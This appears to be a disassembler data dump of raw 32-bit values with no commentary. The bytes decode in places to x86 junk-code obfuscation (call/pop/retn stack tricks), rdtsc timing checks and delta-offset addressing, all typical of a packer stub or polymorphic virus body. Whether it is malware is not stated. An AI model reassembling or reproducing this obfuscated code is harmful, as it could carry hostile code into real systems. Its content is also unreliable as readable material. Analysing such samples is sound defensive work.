		dd 4E8DE8Bh, 0D8000000h, 0BBFCB148h, 7011A49Eh,	0DA8B6650h
		dd 424448Bh, 12E8h, 7D5E500h, 0EBEFDB3Fh, 0C649CF6h, 9C9BE62Ah
		dd 8A126ADBh, 8B5BF3h, 448998B6h, 0B6580424h, 19B5FF30h
		dd 6606A609h, 8DFA90BBh, 0A9712085h, 75850106h,	0FF06A610h
		dd 0EE8160D0h, 0DC5D071h, 2FE1BD8Bh, 896106A6h,	0A6295985h
		dd 0B70F6006h, 5E9D9h, 6A530000h, 6198357Ah, 31D1BD83h
		dd 0F0106A6h, 0AE85h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0F4659D11h, 298BC381h
		dd 8B6102A4h, 0A62D6D9Dh, 2985C606h, 4506A60Ch,	2A7D958Bh
		dd 716806A6h, 0FBA0689h, 28Bh, 81D08B00h, 0B1B32434h, 6A6066h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0A4F1B7C3h, 9BAE441Ah, 8B313BC4h, 0FFD68BDEh, 0A60919B5h
		dd 0B6DF8B06h, 20858D1Dh, 8B06A971h, 0A60F919Dh, 8BD0FF06h
		dd 0A61C2D9Dh, 29006A06h, 0A60D1185h, 0E9D0FF06h, 9, 0E0D65862h
		dd 757016EEh, 83DF8B0Fh, 0A62CD1BDh, 850F0106h,	0FFh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 29C35141h, 0E7EDD2A4h
		dd 8CBE252Eh, 1841858Bh, 0CA8106A6h, 63AD45FAh,	7FE9h
		dd 0DE8A5100h, 5052905Ah, 0DA8B6652h, 0BA66310Fh, 585A04ACh
		dd 0E953505Bh, 0Ch, 0C3AB99B6h,	2150EEB2h, 0E31E249Eh
		dd 0E953905Bh, 0Fh, 909F53C3h, 6C770810h, 0CBC3D20Ah, 5AC4F749h
		dd 0F52146Ah, 0FF5BD0BFh, 0A6295995h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 46BE1FD8h, 4C0FA015h, 0C99D8B8Eh, 0B306A606h, 9D8958ECh
		dd 6A606C9h, 0F003880h,	0FFFF7C85h, 51006AFFh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0C63143h, 51006A01h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 98A706D9h, 61229DFCh, 0CE9h,	0AE981900h, 8FAEF0A7h
		dd 174D811Bh, 0B9BD833Eh, 6A62Dh, 6C840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 5CF29C3h, 6A525289h,	85B589FFh, 8906A620h, 0A6141985h
		dd 5995FF06h, 6A06A629h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0A522C350h,	4D4106Ch
		dd 7D958B99h, 5106A61Dh, 0E95AD78Ah, 0FFFFFFBBh, 0B318D29h
		dd 85C706A6h, 6A62DB9h,	1, 0D697B5BAh, 0C885893Dh, 8906A64Eh
		dd 0A611019Dh, 52509006h, 3496BB66h, 14E8310Fh,	0DC000000h
		dd 3B10F976h, 0B8943DFDh, 432489AFh, 1488DE04h,	0BAF5838Bh
		dd 58C5B07Eh, 50585A5Bh, 6A90D38Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0EB3C355h
		dd 391589CEh, 6A601763h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 8201C352h, 99C63DE7h
		dd 6A00F1DBh, 0D0B70F05h, 0A758529h, 858D06A6h,	6A64EE0h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0BBC35646h
		dd 28A0F51h, 56000000h,	50505B5Bh, 28D0F52h, 8B000000h
		dd 50310FD8h, 0D88B6652h, 6160310Fh, 585A585Ah,	0BB240489h
		dd 7345DF03h, 4ED0858Dh, 0BF0F06A6h, 0DFBF0FD2h, 508EB690h
		dd 0EE9h, 0FF35900h, 8BE8959h, 8B5B1AA5h, 9072BA38h, 1B759D8Bh
		dd 8E906A6h, 88000000h,	0AE4F0AE3h, 0FFAF6B2Ch,	0A6292995h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 8D8D4B1Fh, 6A67A4Fh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 90C35242h, 7463E8D6h, 1E283C2h
		dd 0A63289BDh, 74C00B06h, 0E0858D11h, 5006A64Eh, 8589D1FFh
		dd 6A64EFEh, 85C70AEBh,	6A64EFEh, 0FFFFFFFFh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 9AC35747h, 598D8957h
		dd 5A06A62Ah, 55006A61h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 0B6BF6ED9h, 0B99D8B51h, 0C606A601h
		dd 0A60C2985h, 6A4D06h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 9911BBC3h, 74129B8Ch, 0E8F2B6F3h
		dd 4, 0A43576A8h, 5B65B353h, 8BD38B50h,	66042444h, 8B468CBBh
		dd 0D78B6600h, 4244489h, 7F993DBAh, 81665812h, 0FFA8FDD3h
		dd 0A61391B5h, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0FE9AC7Bh, 54000000h
		dd 144A5E54h, 98CAEC4Dh, 1CAE7C9h
		dd 858D565Ch, 6A97120h,	0BE9h, 0EDE02B00h, 0DF52843Dh
		dd 0D8CE2F7Eh, 8B66D0FFh, 0A8D780D7h, 0AB18589h, 6A06A6h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 85C6FDC3h, 6A60C29h,	0DD958B45h, 6806A62Ah, 49A7F219h
		dd 0D38B5250h, 8B66310Fh, 81585AD8h, 77502404h,	858944CAh
		dd 6A61EC5h, 919B5FFh, 953306A6h, 6A60C41h, 7120858Dh
		dd 0FE8A06A9h, 8589D0FFh, 6A61B49h, 1EF58589h, 816606A6h
		dd 8B640FC3h, 53006AD2h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 8C6675C5h, 0F6FE8AD9h, 840F04C1h
		dd 24Dh, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	0A4C35747h, 0A5DBADE6h,	0E94B2A4Bh, 12Dh, 8BD9BF0Fh
		dd 0A60D91B5h, 12E906h,	43AC0000h, 7DF0ACCCh, 6D9072C2h
		dd 282E00FCh, 21CDD0A1h, 1180C681h, 958B0000h, 6A60F09h
		dd 8339EE80h, 0A62C85BDh, 850F0006h, 44h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Dh, 0E2C35343h, 0D6C5085Eh
		dd 0E1EC52CBh, 68F0F55h, 89000000h, 0A61E1585h,	0E1BD0106h
		dd 5206A625h, 5AA3CE80h, 80E9h,	2BCB8000h, 0F003E83h, 7484h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0E8C68A9Bh, 0D38B6633h, 899D8B60h, 6A06A62Dh
		dd 50006A14h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 9DAEEE08h, 6E9h,	4227B700h, 0BA76FEB6h
		dd 310A1BEFh, 295995FFh, 816606A6h, 61ABB4EAh, 0D685CDBBh
		dd 0FF86E910h, 0CB80FFFFh, 106C720h, 6A000000h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0F361C357h, 8DAA9417h, 89CBE14Ah, 0A61DADBDh, 0C8BD8306h
		dd 506A64Eh, 0EB850Fh, 6A0000h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 832669C3h, 8BD78B66h
		dd 0A61EF5B5h, 51006A06h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 64B9E70Ch, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 4E61C353h, 0B771EACBh, 0EE9h, 6C54F200h
		dd 67A53FD1h, 774B10A9h, 23F8E159h, 0A61DD995h,	0E83E8006h
		dd 14840Fh, 880F0000h, 6, 1B5D9D33h, 11E906A6h,	0F000000h
		dd 7E80DEBFh, 840FC205h, 26h, 8B67BB66h, 3830F46h, 80000000h
		dd 0F492CC7h, 0FFFFC485h, 0AD958BFFh, 0E906A621h, 21h
		dd 2F39BD31h, 0B58906A6h, 6A62FDDh, 10E9h, 0AD1DE000h
		dd 462F880h, 6C29CA1Fh,	0B537F654h, 0EA805825h,	359BBB74h
		dd 0BD8320CCh, 6A61D75h, 2A840F00h, 1000001h, 0A6104995h
		dd 880F6006h, 3, 0C6D08B66h, 0A60C2985h, 6A5406h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 2BD0E6C3h, 0A61BDD9Dh, 68D38B06h, 0DB39306Ah, 2870Fh
		dd 0DA8B0000h, 8A240481h, 6624158Eh, 8B8A9ABBh,	0A6019D95h
		dd 19B5FF06h, 2906A609h, 0A60B1595h, 20858D06h,	6A06A971h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 3435C353h, 0B9958B15h, 0FF06A601h, 2870FD0h
		dd 8A000000h, 6A006AD4h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 0FD80C353h,	0C870FE4h
		dd 0F000000h, 68Ch, 0C1B50900h,	0FF06A621h, 0A61D75B5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 0DDBD89F8h, 6006A60Dh, 66F78B66h, 6123BABEh
		dd 6AD0FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 43E152C3h, 5BD9531h, 16106A6h, 0A60BD985h
		dd 0DD85C706h, 106A60Fh, 0E9000000h, 5,	2159806h, 958B6065h
		dd 6A62B49h, 4E8h, 8000h, 50D08A00h, 448B6AB2h,	0E8560424h
		dd 12h,	22732C56h, 53849C16h, 0A573854Eh, 9FBE3693h, 0B4B71855h
		dd 8B5B5Ah, 0E8B65150h,	44895B5Bh, 0BE90424h, 91000000h
		dd 550F9F58h, 18313D48h, 0F582024h, 886h, 2870F00h, 8A000000h
		dd 23FF6AF1h, 0A610919Dh, 0DD95FF06h, 8906A62Ch, 0A61A7D9Dh
		dd 0BF0F6106h, 0F58A90D6h, 0CE950h, 54D80000h, 22D73B32h
		dd 0A3E56BD2h, 0BA906238h, 59A9AB4h, 1301858Bh,	0B6BA06A6h
		dd 0B6C95F0h, 2C840FC0h, 66000000h, 2A67DB81h, 1E2195FFh
		dd 6A06A6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 3226E6C3h, 0C7D08BE5h, 0A6096985h, 106h
		dd 6A34BA00h, 0BD83567Fh, 6A60745h, 31840F00h, 8B000000h
		dd 0A61A2595h, 7D958B06h, 0FF06A607h, 0A6110D95h, 14E906h
		dd 4BC60000h, 0E408279Dh, 0F3DB339Ah, 645D5E71h, 6A9A85AFh
		dd 9D8B1CBBh, 6A603FDh,	226DBD83h, 0F0006A6h, 2B84h, 0CC78000h
		dd 309D95FFh, 6A06A6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 6CE605C3h, 5388B34Bh, 1D1BD83h
		dd 0F0006A6h, 3184h, 0DE900h, 0E3950000h, 0B9534581h, 5D203572h
		dd 83740A46h, 0A61AA9BDh, 850F0006h, 12h, 84D9D89h, 95FF06A6h
		dd 6A62C7Dh, 12818589h,	0BD8306A6h, 6A60CDDh, 3C840F00h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0CA17C351h, 5FD0C351h,	2AD18581h
		dd 400306A6h, 81BB0000h, 815F6D9Bh, 0A61BF985h,	400306h
		dd 0F03B200h, 51006A31h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 53D8FCE5h, 8DDC2A42h, 0A65EC48Dh
		dd 0D9850906h, 8906A60Ch, 15BA6601h, 0FDBD89F5h, 3306A614h
		dd 959589C2h, 8906A601h, 9600441h, 0A631459Dh, 859D8906h
		dd 6106A610h, 9589310Fh, 6A62C15h, 5ED38D8Dh, 8D8906A6h
		dd 6A619D5h, 0EB800189h, 66C233E7h, 441DF281h, 83044189h
		dd 0A62F2DBDh, 840F0006h, 12h, 31A9B529h, 95FF06A6h, 6A63075h
		dd 2CA58D89h, 0BD8306A6h, 6A61429h, 82850F01h, 9000000h
		dd 0A60D99B5h, 77E906h,	0AE90000h, 6F000000h, 0C45185D4h
		dd 0E1152109h, 89B58B9Ch, 0C706A65Fh, 6, 0E2B58B00h, 0C706A65Dh
		dd 6, 6ACF00h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 0ED851C3h, 3DBD8925h, 0F06A610h
		dd 13E8D3BFh, 13000000h, 680CE233h, 599DDD76h, 6ACF886Fh
		dd 46E6BF9Eh, 9D8B2E8Dh, 6A62AC5h, 76BA665Bh, 0D4BB6656h
		dd 69BD8382h, 6A609h, 1A9840Fh,	6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 8B6078C3h
		dd 0A62AC5B5h, 28C88106h, 613EBF2Bh, 0B41BD83h,	0F0106A6h
		dd 13C85h, 8B7AB300h, 0A64EBC8Dh, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0A18D8B4Eh
		dd 0F4D30B83h, 7FE38150h, 5A426560h, 0E90001C6h, 5, 0A3A5037Ah
		dd 85896078h, 6A6324Dh,	4E8h, 8000h, 8E800h, 3AC80000h
		dd 0A32A73B4h, 505A2C57h, 12E95250h, 0AB000000h, 0D3841C17h
		dd 0F906C31Fh, 7DC40500h, 83BB8F4Eh, 8A310F25h,	8B585ADDh
		dd 8B042444h, 0EABABA00h, 4489558Bh, 0F4BB0424h, 580CDC1Eh
		dd 8166FF6Ah, 806D6FC3h, 95FFA0F2h, 6A62CDDh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 9CC35747h, 0E8D1FF57h
		dd 0E936E594h, 11h, 0A07D2ECFh,	0B64F02A7h, 68A796A1h
		dd 0D582AF4Bh, 0DA8B66BEh, 13E86061h, 0D000000h, 0F1731135h
		dd 0D623D188h, 0E8760D89h, 10ECD303h, 0B70FCA54h, 820F5FDFh
		dd 6, 1E55958Bh, 0FF6106A6h, 0A6108195h, 8BD08B06h, 0A64EBC8Dh
		dd 0FED08B06h, 50006A01h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 8C7191A1h, 0D5BD83F5h
		dd 106A62Fh, 29850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0AEDBA0C3h, 77F1C840h
		dd 0C99D312Fh, 8B06A631h, 4DBD01C0h, 3306A610h,	0A6324195h
		dd 0A5BD8306h, 6A61Eh, 0BD830975h, 6A62F9Dh, 501A7400h
		dd 8BC08B53h, 0A62AD185h, 0D1858906h, 8D06A62Ah, 0A8A56C9Dh
		dd 5BD3FF06h, 9DBD8358h, 6A62Fh, 53501874h, 2AD1858Bh
		dd 858906A6h, 6A62AD1h,	0A25B9D8Dh, 0D3FF06A8h,	0F60585Bh
		dd 686h, 0FAD08100h, 0BA24B36Bh, 56496B81h, 53006A61h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 1890F40h, 0F9000000h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 0E93378C3h, 6, 0DD645BFDh
		dd 0BD838433h, 6A60969h, 54850F00h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 8CB2C357h, 2EA72CEAh, 644588E5h, 83C1C780h, 0A61855BDh
		dd 840F0006h, 1Fh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 0FCC35141h, 83DABF0Fh, 0A60969BDh, 840F0006h
		dd 20h,	1EE19D8Bh, 0BD8306A6h, 6A62CB9h, 0D840F00h, 0E9000000h
		dd 8, 7A261E71h, 5FA90CF9h, 969BD83h, 0F0006A6h, 1984h
		dd 95858900h, 8306A61Ch, 0A62CB9BDh, 840F0006h,	6, 8818D09h
		dd 0BD8306A6h, 6A60969h, 3D840F00h, 8B000000h, 0A61A059Dh
		dd 0B9BD8306h, 6A610h, 2A840Fh,	6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 977E97C3h
		dd 0B7C58B86h, 9531048Bh, 6A60CB5h, 969BD83h, 0F0006A6h
		dd 6084h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 0CB8713F2h, 8339A79Dh, 0A60511BDh
		dd 840F0006h, 31h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 80C35242h, 0CCD9F6EEh, 75EE8042h, 218D09h
		dd 95FF06A6h, 6A60695h,	57C08BF9h, 0C5EA8166h, 0BD835AE3h
		dd 6A61EA5h, 83097500h,	0A62F9DBDh, 1A740006h, 0C08B5350h
		dd 1BF9858Bh, 858906A6h, 6A61BF9h, 0A5D39D8Dh, 0D3FF06A8h
		dd 0BD83585Bh, 6A62F9Dh, 50187400h, 0F9858B53h,	8906A61Bh
		dd 0A61BF985h, 749D8D06h, 0FF06A8A2h, 0E9585BD3h, 6, 0BFCD4E8Bh
		dd 9D291F1Fh, 6A63255h,	6860Fh,	85290000h, 6A63369h, 0C680C08Bh
		dd 69BD83C5h, 6A609h, 423840Fh,	6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8B1056C3h
		dd 0A6330995h, 0D1BD8306h, 206A631h, 19840Fh, 85890000h
		dd 6A62D8Dh, 1429BD83h,	0F0106A6h, 685h, 0CD952B00h, 6006A61Eh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 91C35747h
		dd 504E6476h, 8D8B1341h, 6A64EBCh, 0DE9h, 90FA3E00h, 0F0EE12A5h
		dd 5928F6EFh, 1FEDB8Ch,	0AE9h, 0CE65EF00h, 0EA90F9F6h
		dd 68C9C848h, 719BD8F0h, 52525060h, 60310F5Bh, 61585A61h
		dd 70243481h, 0E8719BD8h, 13h, 0F5C71EA0h, 4269D01Dh, 5D54E9D8h
		dd 130EDE52h, 0E9CA3D83h, 8, 57B7B163h,	0A3A7EF0h, 0F8FF6A5Ah
		dd 2CDD95FFh, 6A06A6h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 8B61E7C3h, 0A62DD59Dh, 3DBD8D06h
		dd 2306A604h, 0A601699Dh, 1C4F8B06h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 0CCC35141h,	89F9096Ch, 0A60DC9B5h
		dd 0E9016A06h, 7, 0E0AB889Bh, 91E44C6Dh, 0FE9h,	3AA13200h
		dd 5F34E7A3h, 382A06D2h, 9597E303h, 91D08B50h, 8D5BF556h
		dd 0A93A0085h, 0FFDBB706h, 55006AD0h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 8AD5542h, 8B9F9E4Ah
		dd 0A619099Dh, 204F8B06h, 0E9036AF5h, 9, 0DAE57026h, 5E616961h
		dd 0EE850CDh, 0D9000000h, 47F43D9Dh, 0D59B258Dh, 32E7C19Dh
		dd 0AE8BCh, 0C8A30000h,	6003475Ah, 0A95C0202h, 5A5BE3B7h
		dd 0F240C89h, 387h, 0DBBF0F00h,	3A00858Dh, 0B50906A9h
		dd 6A61151h, 8BF8D0FFh,	3DBD8DD7h, 6A06A604h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0EA1FC356h, 83BB525Dh, 5A213385h, 571C4F8Bh,	6A19529h
		dd 6A5B06A6h, 0B58D8901h, 5006A62Ch, 14E8h, 9D016D00h
		dd 0BA621E55h, 0E2C026D4h, 0C1196ECBh, 0E195B64Bh, 0FE81Ch
		dd 0ADA90000h, 6EA19E14h, 7A172917h, 0A587DD50h, 895A5B3Fh
		dd 6A240Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 7301EBC3h, 0E897C061h, 8B66CA2Ah,	0D08B66DAh
		dd 3A00858Dh, 958906A9h, 6A61D79h, 0BB66D0FFh, 4F8B6F01h
		dd 51006A20h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0B589FD67h, 6A611FDh, 9E8036Ah, 0A1000000h
		dd 0F15927D4h, 0D83A3B6h, 5AD2B70Fh, 13E86091h,	0F3000000h
		dd 4877047Ah, 0CA72ACFh, 482A763Fh, 56E02E88h, 0FFB4B1A9h
		dd 11E95Ah, 4FF60000h, 95A243DAh, 3B3EFBB5h, 0C41C5753h
		dd 615AF4EAh, 8B665650h, 6A915BD9h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0CCE7C355h
		dd 50258030h, 0FD1BABBAh, 858D25h, 6606A93Ah, 0D0FFDE8Bh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0B0C35141h
		dd 5F059D71h, 0DD9D89BDh, 8B06A614h, 0D0B70FDFh, 4EBC8D8Bh
		dd 0B58906A6h, 6A60519h, 6A01FEh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0D01140C3h, 5172DD1Dh
		dd 9E9601Bh, 5A000000h,	393F35FBh, 8BB6A915h, 61C3BF0Fh
		dd 4EBC858Bh, 0BD8906A6h, 6A6188Dh, 6AF900FEh, 0CA816601h
		dd 0A268EFBAh, 52CE7172h, 8E8h,	503ADC00h, 21215D1Dh, 0F8BB663Dh
		dd 815A5B76h, 0ED5D2434h, 8D0F318Eh, 0Ch, 68E0Fh, 890F0000h
		dd 0
		dd 3A0A858Dh, 0BB6606A9h, 0D0FF408Ch, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 31C35545h, 0DE40F4E8h, 86993B2Ch
		dd 55BD8395h, 6A618h, 0DE840Fh,	0D78B0000h, 1451BD83h
		dd 0F0106A6h, 0CF85h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0B69423EFh, 9A1317C8h
		dd 8810Fh, 870F0000h, 2, 8D8D5A53h, 6A93A14h, 66036AFCh
		dd 6A4123BBh, 51006A01h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 0AD5F7540h, 66CAF680h, 0F811FBBh
		dd 0B83h, 5860F00h, 0BB000000h,	6C41BD3h, 6AD1FFh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 58317DC3h, 0A096F0BFh, 57C38006h, 6AFC016Ah,	8BD1FF01h
		dd 0A611059Dh, 6D30E806h, 6AF9B5h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 0D08B44C3h, 0DA8B206Ah
		dd 6ADBB70Fh, 0AE9FFh, 90090000h, 0D2A22EDAh, 0AD972BEBh
		dd 2CDD95FFh, 816606A6h, 0B8AADDCAh, 0
		dd 0C00BFA8Ah, 55840Fh,	6E90000h, 91000000h, 40424191h
		dd 45BD839Ch, 6A612h, 3D840Fh, 11E90000h, 4E000000h, 4F44C128h
		dd 3E8620B8h, 455FDD98h, 37136261h, 2A9195FFh, 6A06A6h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 114CE8C3h, 8BD08B44h, 0A6184185h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0C616h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0ADC35242h, 6A58F958h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 66F3C352h, 0D98C664Ch, 29718D89h,	0C1F606A6h
		dd 73840F04h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 556DC352h, 0C7AD5AAEh
		dd 95039C5Ah, 6A61559h,	0F3DB8166h, 40E978h, 8D890000h
		dd 6A60FE1h, 0D91B58Bh,	6A06A6h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 49BE58C3h, 0C681804Ch
		dd 1180h, 0C7DA8B66h, 6, 120ABB00h, 835E03EBh, 840F00F8h
		dd 0B47h, 13D99D8Bh, 0F88306A6h, 67850F01h, 0F000001h
		dd 688h, 4D9D8B00h, 0B806A621h,	0
		dd 3219958Bh, 0C00B06A6h, 0C8840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 7251EBC3h
		dd 0F883B7B3h, 0E1840F01h, 89000000h, 0A604D995h, 0C1B52906h
		dd 8306A608h, 840F03F8h, 64h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 6C35343h, 0D01088FAh, 6729C7C2h
		dd 0B8D38B66h, 0
aNRi		db '½à‰[',0
aJ_0		db 'j',0
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 263377C3h, 68A5A625h, 33B04C59h, 0A619259Dh,	0BAE7FF06h
		dd 223DDDB1h, 1B8h, 0D08B6600h,	89E0BD8Dh, 0BE9005Bh, 0AB000000h
		dd 0E10FEB16h, 5E8F856h, 0E7FF263Ch, 2AC18589h,	0BD8D06A6h
		dd 6A64548h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	0BC35242h, 28B0FCBh, 0B6000000h, 2D958BA0h, 0E906A62Ch
		dd 254h, 6830Fh, 8D890000h, 6A63229h, 4F1785C7h, 506A6h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 3D8725C3h, 0B23C1F26h, 5B8EEh, 0D08B0000h
		dd 990E9h, 0EA816600h, 0F8834139h, 0A1850F02h, 66000000h
		dd 0B8D18Bh, 0F9000000h, 840FC00Bh, 46h, 305D9533h, 0F88306A6h
		dd 99840F01h, 8AFFFFFFh, 3F883FAh, 0FF26840Fh, 0BD29FFFFh
		dd 6A62B49h, 3EBAC02Bh,	8D61E5D0h, 5B89E0BDh, 5870F00h
		dd 0BB000000h, 61FBBE7Ch, 0B501E7FFh, 6A60C81h,	34A1B509h
		dd 0BD8D06A6h, 6A64740h, 9DE9D38Bh, 6A000001h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 2285C353h, 0B70F17A8h, 14E952DEh, 2F000000h,	0ABE4F769h
		dd 7EA0DE6Ch, 1D5E76Ah,	81357D35h, 5AF96DA7h, 0F03F883h
		dd 5285h, 0E8E38000h, 48D4BD8Dh, 6A06A6h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 8864E8C3h
		dd 23EB6A2Ah, 0DF8BF830h, 123E9h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 837F571Ch
		dd 850F05F8h, 54h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 1DC35242h, 0DEAAE7E9h, 0E9D38B66h, 5
		dd 0DD53A938h, 84BE998h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 0BA4B15C3h, 0F8E05A83h
		dd 0F06F883h, 5585h, 5E800h, 56EF0000h,	66CA262Eh, 0BA55CB81h
		dd 0CCBD8D5Bh, 0F06A64Ah, 0E86h, 7E95300h, 0B6000000h
		dd 0BEEFC83Eh, 575B0016h, 0E95BD58Ah, 6Ch, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 8AC35747h, 0B0D9D89h
		dd 0F88306A6h, 1A850F07h, 89000000h, 0A60A498Dh, 0E9BD8D06h
		dd 2B06A601h, 0A61ADD9Dh, 104E906h, 0F5600000h,	0AF88361h
		dd 1E850Fh, 8DF50000h, 0A64CC4BDh, 0CDB8106h, 0E94D0537h
		dd 0Ch,	6850Fh,	9D090000h, 6A608F5h, 0BE857h, 65C90000h
		dd 0DD44DF78h, 0C8563153h, 5BD18B37h, 0B9DDE780h, 7D515582h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 5C35747h
		dd 3F83DE28h, 6C840F00h, 8B000000h, 0A6306D9Dh,	0E90F3006h
		dd 0Eh,	27665C31h, 6F2A470Bh, 44508B53h, 0C9D108ACh, 14E9h
		dd 3CCCB300h, 56FFA63Fh, 0A2F8407Eh, 0B76AEEACh, 0B25E8C46h
		dd 0FC60477Bh, 6800Fh, 0B5890000h, 6A6299Dh, 0FFACE961h
